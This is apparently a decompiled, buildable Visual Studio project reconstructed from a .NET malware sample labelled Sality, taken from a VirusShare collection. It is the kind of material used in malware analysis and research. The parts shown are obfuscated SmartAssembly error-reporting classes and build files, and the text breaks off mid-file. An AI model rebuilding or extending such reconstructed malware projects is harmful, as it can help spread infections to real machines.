MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/ReportingService.cs

@@ -0,0 +1,36 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.ReportingService
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using System;
+using System.Web.Services;
+using System.Web.Services.Protocols;
+using System.Xml.Serialization;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [WebServiceBinding(Name = "ReportingServiceSoap", Namespace = "http://www.smartassembly.com/webservices/Reporting/")]
+  internal sealed class ReportingService : SoapHttpClientProtocol
+  {
+    [NonSerialized]
+    internal static \u0002 \u0001;
+
+    public ReportingService(string serverURL)
+    {
+      \u0096\u0004.\u0004((object) this, \u0010\u0003.\u0095\u0003(serverURL, ReportingService.\u0001(3121)));
+      \u0004\u0004.\u0005((object) this, 180000);
+    }
+
+    [SoapDocumentMethod("http://www.smartassembly.com/webservices/Reporting/UploadReport2")]
+    public string UploadReport2(string licenseID, [XmlElement(DataType = "base64Binary")] byte[] data) => (string) \u0089\u0004.\u0008((object) this, ReportingService.\u0001(3142), new object[2]
+    {
+      (object) licenseID,
+      (object) data
+    })[0];
+
+    static ReportingService() => \u0003.\u0003();
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/Token200012D.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.Token200012D
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  internal class Token200012D : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UnhandledException.cs

@@ -0,0 +1,290 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.UnhandledException
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using \u0003;
+using System;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Runtime.Serialization;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [Serializable]
+  public sealed class UnhandledException : Exception
+  {
+    [NonSerialized]
+    internal static \u0002 \u0001;
+    public int MethodID;
+    public object[] Objects;
+    public int ILOffset;
+    private Exception previousException;
+
+    internal Exception \u0003() => this.previousException;
+
+    public static Exception \u0003([In] Exception obj0) => UnhandledException.\u0003(obj0, new object[0]);
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1) => UnhandledException.\u0003(obj0, new object[1]
+    {
+      obj1
+    });
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2) => UnhandledException.\u0003(obj0, new object[2]
+    {
+      obj1,
+      obj2
+    });
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2, [In] object obj3) => UnhandledException.\u0003(obj0, new object[3]
+    {
+      obj1,
+      obj2,
+      obj3
+    });
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4)
+    {
+      return UnhandledException.\u0003(obj0, new object[4]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5)
+    {
+      return UnhandledException.\u0003(obj0, new object[5]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6)
+    {
+      return UnhandledException.\u0003(obj0, new object[6]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7)
+    {
+      return UnhandledException.\u0003(obj0, new object[7]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8)
+    {
+      return UnhandledException.\u0003(obj0, new object[8]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8,
+      [In] object obj9)
+    {
+      return UnhandledException.\u0003(obj0, new object[9]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8,
+        obj9
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8,
+      [In] object obj9,
+      [In] object obj10)
+    {
+      return UnhandledException.\u0003(obj0, new object[10]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8,
+        obj9,
+        obj10
+      });
+    }
+
+    public static Exception \u0003([In] Exception obj0, [In] object[] obj1)
+    {
+      if (\u0006.\u0001)
+        return (Exception) null;
+      int num1 = -1;
+      int num2 = -1;
+      try
+      {
+        StackTrace stackTrace = new StackTrace(obj0);
+        if (\u008A\u0005.\u007E\u0013\u0006((object) stackTrace) > 0)
+        {
+          StackFrame stackFrame = \u0082\u0005.\u007E\u0014\u0006((object) stackTrace, \u008A\u0005.\u007E\u0013\u0006((object) stackTrace) - 1);
+          num2 = (\u008A\u0005.\u007E\u000E\u0005((object) \u0080\u0003.\u007E\u0015\u0006((object) stackFrame)) & 16777215) - 1;
+          num1 = \u008A\u0005.\u007E\u0016\u0006((object) stackFrame);
+        }
+      }
+      catch
+      {
+      }
+      UnhandledException unhandledException = new UnhandledException(num2, obj1, num1, obj0);
+      if (obj0 is UnhandledException)
+      {
+        Exception exception = (obj0 as UnhandledException).\u0003();
+        if (exception != null)
+          obj0 = exception;
+      }
+      Exception exception1 = obj0;
+      while (\u001B\u0004.\u007E\u0002\u0004((object) exception1) != null)
+        exception1 = \u001B\u0004.\u007E\u0002\u0004((object) exception1);
+      try
+      {
+        // ISSUE: type reference
+        FieldInfo fieldInfo = \u0096\u0002.\u007E\u0019\u0005((object) \u0084\u0003.\u0012\u0005(__typeref (Exception)), UnhandledException.\u0001(3466), BindingFlags.Instance | BindingFlags.NonPublic);
+        \u0001\u0005.\u007E\u0095\u0006((object) fieldInfo, (object) exception1, (object) unhandledException);
+      }
+      catch
+      {
+      }
+      return obj0;
+    }
+
+    public override void GetObjectData([In] SerializationInfo obj0, [In] StreamingContext obj1)
+    {
+      \u0012\u0004.\u0004\u0004((object) this, obj0, obj1);
+      // ISSUE: type reference
+      \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3487), (object) this.MethodID, \u0084\u0003.\u0012\u0005(__typeref (int)));
+      // ISSUE: type reference
+      \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3524), (object) this.ILOffset, \u0084\u0003.\u0012\u0005(__typeref (int)));
+      // ISSUE: type reference
+      \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3561), (object) this.previousException, \u0084\u0003.\u0012\u0005(__typeref (Exception)));
+      int num = this.Objects == null ? 0 : this.Objects.Length;
+      // ISSUE: type reference
+      \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3610), (object) num, \u0084\u0003.\u0012\u0005(__typeref (int)));
+      for (int index = 0; index < num; ++index)
+      {
+        // ISSUE: type reference
+        \u008D\u0004.\u007E\u009B\u0006((object) obj0, \u0086\u0005.\u0092\u0003(UnhandledException.\u0001(3655), (object) index), this.Objects[index], \u0084\u0003.\u0012\u0005(__typeref (object)));
+      }
+    }
+
+    internal UnhandledException([In] SerializationInfo obj0, [In] StreamingContext obj1)
+      : base(obj0, obj1)
+    {
+      this.MethodID = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3487));
+      this.ILOffset = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3524));
+      // ISSUE: type reference
+      this.previousException = (Exception) \u0092\u0002.\u007E\u009C\u0006((object) obj0, UnhandledException.\u0001(3561), \u0084\u0003.\u0012\u0005(__typeref (Exception)));
+      int length = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3610));
+      this.Objects = new object[length];
+      for (int index = 0; index < length; ++index)
+      {
+        // ISSUE: type reference
+        this.Objects[index] = \u0092\u0002.\u007E\u009C\u0006((object) obj0, \u0086\u0005.\u0092\u0003(UnhandledException.\u0001(3655), (object) index), \u0084\u0003.\u0012\u0005(__typeref (object)));
+      }
+    }
+
+    internal UnhandledException([In] int obj0, [In] object[] obj1, [In] int obj2, [In] Exception obj3)
+      : base(string.Format(UnhandledException.\u0001(3700), (object) obj0, (object) obj2))
+    {
+      this.MethodID = obj0;
+      this.Objects = obj1;
+      this.ILOffset = obj2;
+      this.previousException = obj3;
+    }
+
+    static UnhandledException() => \u0001.\u0003.\u0003();
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs

@@ -0,0 +1,34 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.UploadReportLoginService
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using System;
+using System.Web.Services;
+using System.Web.Services.Protocols;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [WebServiceBinding(Name = "LoginServiceSoap", Namespace = "http://www.smartassembly.com/webservices/UploadReportLogin/")]
+  internal sealed class UploadReportLoginService : SoapHttpClientProtocol
+  {
+    [NonSerialized]
+    internal static \u0002 \u0001;
+
+    public UploadReportLoginService()
+    {
+      \u0096\u0004.\u0004((object) this, UploadReportLoginService.\u0001(3018));
+      \u0004\u0004.\u0005((object) this, 30000);
+    }
+
+    [SoapDocumentMethod("http://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL")]
+    public string GetServerURL(string licenseID) => (string) \u0089\u0004.\u0008((object) this, UploadReportLoginService.\u0001(3103), new object[1]
+    {
+      (object) licenseID
+    })[0];
+
+    static UploadReportLoginService() => \u0003.\u0003();
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.csproj

@@ -0,0 +1,309 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{117F2DEF-6966-4845-AA1C-99A5AD42700A}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Web" />
+    <Reference Include="System.Web.Services" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_003CModule_003E.cs" />
+    <Compile Include="_008D_0002.cs" />
+    <Compile Include="_008E_0002.cs" />
+    <Compile Include="_008F_0002.cs" />
+    <Compile Include="_0090_0002.cs" />
+    <Compile Include="_0091_0002.cs" />
+    <Compile Include="_0092_0002.cs" />
+    <Compile Include="_0093_0002.cs" />
+    <Compile Include="_0094_0002.cs" />
+    <Compile Include="_0095_0002.cs" />
+    <Compile Include="_0096_0002.cs" />
+    <Compile Include="_0097_0002.cs" />
+    <Compile Include="_0098_0002.cs" />
+    <Compile Include="_0099_0002.cs" />
+    <Compile Include="_009A_0002.cs" />
+    <Compile Include="_009B_0002.cs" />
+    <Compile Include="_009C_0002.cs" />
+    <Compile Include="_009D_0002.cs" />
+    <Compile Include="_009E_0002.cs" />
+    <Compile Include="_009F_0002.cs" />
+    <Compile Include="_0001_0003.cs" />
+    <Compile Include="_0002_0003.cs" />
+    <Compile Include="_0003_0003.cs" />
+    <Compile Include="_0004_0003.cs" />
+    <Compile Include="_0005_0003.cs" />
+    <Compile Include="_0006_0003.cs" />
+    <Compile Include="_0007_0003.cs" />
+    <Compile Include="_0008_0003.cs" />
+    <Compile Include="_000E_0003.cs" />
+    <Compile Include="_000F_0003.cs" />
+    <Compile Include="_0010_0003.cs" />
+    <Compile Include="_0011_0003.cs" />
+    <Compile Include="_0012_0003.cs" />
+    <Compile Include="_0013_0003.cs" />
+    <Compile Include="_0014_0003.cs" />
+    <Compile Include="_0015_0003.cs" />
+    <Compile Include="_0016_0003.cs" />
+    <Compile Include="_0017_0003.cs" />
+    <Compile Include="_0018_0003.cs" />
+    <Compile Include="_0019_0003.cs" />
+    <Compile Include="_001A_0003.cs" />
+    <Compile Include="_001B_0003.cs" />
+    <Compile Include="_001C_0003.cs" />
+    <Compile Include="_001D_0003.cs" />
+    <Compile Include="_001E_0003.cs" />
+    <Compile Include="_001F_0003.cs" />
+    <Compile Include="_007F_0003.cs" />
+    <Compile Include="_0080_0003.cs" />
+    <Compile Include="_0081_0003.cs" />
+    <Compile Include="_0082_0003.cs" />
+    <Compile Include="_0083_0003.cs" />
+    <Compile Include="_0084_0003.cs" />
+    <Compile Include="_0086_0003.cs" />
+    <Compile Include="_0087_0003.cs" />
+    <Compile Include="_0088_0003.cs" />
+    <Compile Include="_0089_0003.cs" />
+    <Compile Include="_008A_0003.cs" />
+    <Compile Include="_008B_0003.cs" />
+    <Compile Include="_008C_0003.cs" />
+    <Compile Include="_008D_0003.cs" />
+    <Compile Include="_008E_0003.cs" />
+    <Compile Include="_008F_0003.cs" />
+    <Compile Include="_0090_0003.cs" />
+    <Compile Include="_0091_0003.cs" />
+    <Compile Include="_0092_0003.cs" />
+    <Compile Include="_0093_0003.cs" />
+    <Compile Include="_0094_0003.cs" />
+    <Compile Include="_0095_0003.cs" />
+    <Compile Include="_0096_0003.cs" />
+    <Compile Include="_0097_0003.cs" />
+    <Compile Include="_0098_0003.cs" />
+    <Compile Include="_0099_0003.cs" />
+    <Compile Include="_009A_0003.cs" />
+    <Compile Include="_009B_0003.cs" />
+    <Compile Include="_009C_0003.cs" />
+    <Compile Include="_009D_0003.cs" />
+    <Compile Include="_009E_0003.cs" />
+    <Compile Include="_009F_0003.cs" />
+    <Compile Include="_0001_0004.cs" />
+    <Compile Include="_0002_0004.cs" />
+    <Compile Include="_0003_0004.cs" />
+    <Compile Include="_0004_0004.cs" />
+    <Compile Include="_0005_0004.cs" />
+    <Compile Include="_0006_0004.cs" />
+    <Compile Include="_0007_0004.cs" />
+    <Compile Include="_0008_0004.cs" />
+    <Compile Include="_000E_0004.cs" />
+    <Compile Include="_000F_0004.cs" />
+    <Compile Include="_0010_0004.cs" />
+    <Compile Include="_0011_0004.cs" />
+    <Compile Include="_0012_0004.cs" />
+    <Compile Include="_0013_0004.cs" />
+    <Compile Include="_0014_0004.cs" />
+    <Compile Include="_0015_0004.cs" />
+    <Compile Include="_0016_0004.cs" />
+    <Compile Include="_0017_0004.cs" />
+    <Compile Include="_0018_0004.cs" />
+    <Compile Include="_0019_0004.cs" />
+    <Compile Include="_001A_0004.cs" />
+    <Compile Include="_001B_0004.cs" />
+    <Compile Include="_001C_0004.cs" />
+    <Compile Include="_001D_0004.cs" />
+    <Compile Include="_001E_0004.cs" />
+    <Compile Include="_001F_0004.cs" />
+    <Compile Include="_007F_0004.cs" />
+    <Compile Include="_0080_0004.cs" />
+    <Compile Include="_0081_0004.cs" />
+    <Compile Include="_0082_0004.cs" />
+    <Compile Include="_0083_0004.cs" />
+    <Compile Include="_0084_0004.cs" />
+    <Compile Include="_0086_0004.cs" />
+    <Compile Include="_0087_0004.cs" />
+    <Compile Include="_0088_0004.cs" />
+    <Compile Include="_0089_0004.cs" />
+    <Compile Include="_008A_0004.cs" />
+    <Compile Include="_008B_0004.cs" />
+    <Compile Include="_008C_0004.cs" />
+    <Compile Include="_008D_0004.cs" />
+    <Compile Include="_008E_0004.cs" />
+    <Compile Include="_008F_0004.cs" />
+    <Compile Include="_0090_0004.cs" />
+    <Compile Include="_0091_0004.cs" />
+    <Compile Include="_0092_0004.cs" />
+    <Compile Include="_0093_0004.cs" />
+    <Compile Include="_0094_0004.cs" />
+    <Compile Include="_0095_0004.cs" />
+    <Compile Include="_0096_0004.cs" />
+    <Compile Include="_0097_0004.cs" />
+    <Compile Include="_0098_0004.cs" />
+    <Compile Include="_0099_0004.cs" />
+    <Compile Include="_009A_0004.cs" />
+    <Compile Include="_009B_0004.cs" />
+    <Compile Include="_009C_0004.cs" />
+    <Compile Include="_009D_0004.cs" />
+    <Compile Include="_009E_0004.cs" />
+    <Compile Include="_009F_0004.cs" />
+    <Compile Include="_0001_0005.cs" />
+    <Compile Include="_0002_0005.cs" />
+    <Compile Include="_0003_0005.cs" />
+    <Compile Include="_0004_0005.cs" />
+    <Compile Include="_0005_0005.cs" />
+    <Compile Include="_0006_0005.cs" />
+    <Compile Include="_0007_0005.cs" />
+    <Compile Include="_0008_0005.cs" />
+    <Compile Include="_000E_0005.cs" />
+    <Compile Include="_000F_0005.cs" />
+    <Compile Include="_0010_0005.cs" />
+    <Compile Include="_0011_0005.cs" />
+    <Compile Include="_0012_0005.cs" />
+    <Compile Include="_0013_0005.cs" />
+    <Compile Include="_0014_0005.cs" />
+    <Compile Include="_0015_0005.cs" />
+    <Compile Include="_0016_0005.cs" />
+    <Compile Include="_0017_0005.cs" />
+    <Compile Include="_0018_0005.cs" />
+    <Compile Include="_0019_0005.cs" />
+    <Compile Include="_001A_0005.cs" />
+    <Compile Include="_001B_0005.cs" />
+    <Compile Include="_001C_0005.cs" />
+    <Compile Include="_001D_0005.cs" />
+    <Compile Include="_001E_0005.cs" />
+    <Compile Include="_001F_0005.cs" />
+    <Compile Include="_007F_0005.cs" />
+    <Compile Include="_0080_0005.cs" />
+    <Compile Include="_0081_0005.cs" />
+    <Compile Include="_0082_0005.cs" />
+    <Compile Include="_0083_0005.cs" />
+    <Compile Include="_0084_0005.cs" />
+    <Compile Include="_0086_0005.cs" />
+    <Compile Include="_0087_0005.cs" />
+    <Compile Include="_0088_0005.cs" />
+    <Compile Include="_0089_0005.cs" />
+    <Compile Include="_008A_0005.cs" />
+    <Compile Include="_008B_0005.cs" />
+    <Compile Include="_008C_0005.cs" />
+    <Compile Include="_008D_0005.cs" />
+    <Compile Include="_008E_0005.cs" />
+    <Compile Include="_008F_0005.cs" />
+    <Compile Include="_0090_0005.cs" />
+    <Compile Include="_0091_0005.cs" />
+    <Compile Include="_0092_0005.cs" />
+    <Compile Include="_0093_0005.cs" />
+    <Compile Include="_0094_0005.cs" />
+    <Compile Include="_0095_0005.cs" />
+    <Compile Include="_0096_0005.cs" />
+    <Compile Include="_0097_0005.cs" />
+    <Compile Include="_0098_0005.cs" />
+    <Compile Include="_0099_0005.cs" />
+    <Compile Include="_009A_0005.cs" />
+    <Compile Include="_009B_0005.cs" />
+    <Compile Include="_009C_0005.cs" />
+    <Compile Include="_009D_0005.cs" />
+    <Compile Include="_009E_0005.cs" />
+    <Compile Include="_009F_0005.cs" />
+    <Compile Include="_0001_0006.cs" />
+    <Compile Include="_0002_0006.cs" />
+    <Compile Include="_0003_0006.cs" />
+    <Compile Include="_0004_0006.cs" />
+    <Compile Include="_0005_0006.cs" />
+    <Compile Include="_0003\_0001.cs" />
+    <Compile Include="_0003\_0002.cs" />
+    <Compile Include="_0003\_0003.cs" />
+    <Compile Include="_0003\_0004.cs" />
+    <Compile Include="_0003\_0005.cs" />
+    <Compile Include="_0003\_0006.cs" />
+    <Compile Include="_0003\Token200012B.cs" />
+    <Compile Include="_0008\_0001.cs" />
+    <Compile Include="_0008\_0002.cs" />
+    <Compile Include="_0008\_0003.cs" />
+    <Compile Include="_0008\Token2000133.cs" />
+    <Compile Include="n(EWZ_0009\7_0017[_000C\7.cs" />
+    <Compile Include="n(EWZ_0009\7_0017[_000C\Token2000132.cs" />
+    <Compile Include="_0007\_0001.cs" />
+    <Compile Include="_0007\_0002.cs" />
+    <Compile Include="_0007\_0003.cs" />
+    <Compile Include="_0007\_0004.cs" />
+    <Compile Include="_0007\_0005.cs" />
+    <Compile Include="_0007\_0006.cs" />
+    <Compile Include="_0007\Token2000131.cs" />
+    <Compile Include="_0006\_0001.cs" />
+    <Compile Include="_0006\_0002.cs" />
+    <Compile Include="_0006\_0003.cs" />
+    <Compile Include="_0006\_0004.cs" />
+    <Compile Include="_0006\_0005.cs" />
+    <Compile Include="_0006\_0006.cs" />
+    <Compile Include="_0006\Token200012F.cs" />
+    <Compile Include="_0005\_0001.cs" />
+    <Compile Include="_0005\_0002.cs" />
+    <Compile Include="_0005\_0003.cs" />
+    <Compile Include="_0005\_0004.cs" />
+    <Compile Include="_0005\_0005.cs" />
+    <Compile Include="_0005\_0006.cs" />
+    <Compile Include="_0005\Token200012E.cs" />
+    <Compile Include="_0004\_0001.cs" />
+    <Compile Include="_0004\_0002.cs" />
+    <Compile Include="_0004\_0003.cs" />
+    <Compile Include="_0004\_0004.cs" />
+    <Compile Include="_0004\_0005.cs" />
+    <Compile Include="_0004\_0006.cs" />
+    <Compile Include="_0004\Token200012C.cs" />
+    <Compile Include="_0001\_0001.cs" />
+    <Compile Include="_0001\_0002.cs" />
+    <Compile Include="_0001\_0003.cs" />
+    <Compile Include="_0001\_0004.cs" />
+    <Compile Include="_0001\_0005.cs" />
+    <Compile Include="_0001\_0006.cs" />
+    <Compile Include="_0001\Token2000129.cs" />
+    <Compile Include="_0002\_0001.cs" />
+    <Compile Include="_0002\_0002.cs" />
+    <Compile Include="_0002\_0003.cs" />
+    <Compile Include="_0002\_0004.cs" />
+    <Compile Include="_0002\_0005.cs" />
+    <Compile Include="_0002\_0006.cs" />
+    <Compile Include="_0002\Token200012A.cs" />
+    <Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
+    <Compile Include="SmartAssembly\Attributes\Token2000130.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\UploadReportLoginService.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\ReportingService.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\UnhandledException.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\Token200012D.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="{058f5872-1669-4da0-8ae3-6f6e94a9e1dc}" />
+    <EmbeddedResource Include="{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f}" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe", "Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.csproj", "{117F2DEF-6966-4845-AA1C-99A5AD42700A}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{117F2DEF-6966-4845-AA1C-99A5AD42700A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{117F2DEF-6966-4845-AA1C-99A5AD42700A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{117F2DEF-6966-4845-AA1C-99A5AD42700A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{117F2DEF-6966-4845-AA1C-99A5AD42700A}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/Token2000129.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.Token2000129
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+namespace \u0001
+{
+  internal class Token2000129 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0001.cs

@@ -0,0 +1,125 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.

+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
